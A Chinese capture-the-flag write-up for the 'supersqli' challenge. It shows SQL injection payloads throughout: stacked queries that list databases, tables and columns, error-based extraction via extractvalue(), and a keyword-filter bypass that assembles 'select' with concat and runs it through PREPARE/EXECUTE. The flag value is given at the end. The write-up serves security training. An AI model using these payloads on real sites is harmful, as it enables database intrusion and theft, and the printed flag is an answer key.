攻防世界supersqli—wp

在这里插入图片描述在这里插入图片描述题目很明显,应该就是SQL注入,提交1试试
在这里插入图片描述
有回显,那就再提交 1’
在这里插入图片描述
报错了,直接查数据库看看
提交1’; select databases --+
在这里插入图片描述
what’s up?select,update,where都被过滤了,而且还不区分大小写

那只能1’; show databases --+
在这里插入图片描述
有很多数据库,但是还不知道有什么用,继续查表单
1’; show tables --+
在这里插入图片描述
有两个表单,那就都看看表单的列
1’;show columns from `1919810931114514` --+
注意这里是 ` ,不是单引号
在这里插入图片描述
有flag

1’;show columns from `words` --+
在这里插入图片描述
没有什么信息。
再看看这两个表单是在那个数据库里的
这里要用到报错函数,updatexml()被过滤了,那就用extractvalue()函数

1’ and extractvalue(1,concat(1,database())) --+

在这里插入图片描述
数据库supersqli
1’ ; use supersqli; show tables – +
在这里插入图片描述
所以这两个表单是在数据库supersqli里面的
到最后还是不可避免的要绕过
通过执行多语句把要执行的sql语句拼接起来,就是把select拆开
1’;use supersqli;set @sql=concat(‘se’,‘lect `flag` from `1919810931114514`’);PREPARE sql_query FROM @sql;EXECUTE sql_query;–+
这里涉及到sql预编译,有不会的朋友可以百度一下
在这里插入图片描述
拿到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}


版权声明:本文为m0_73121489原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。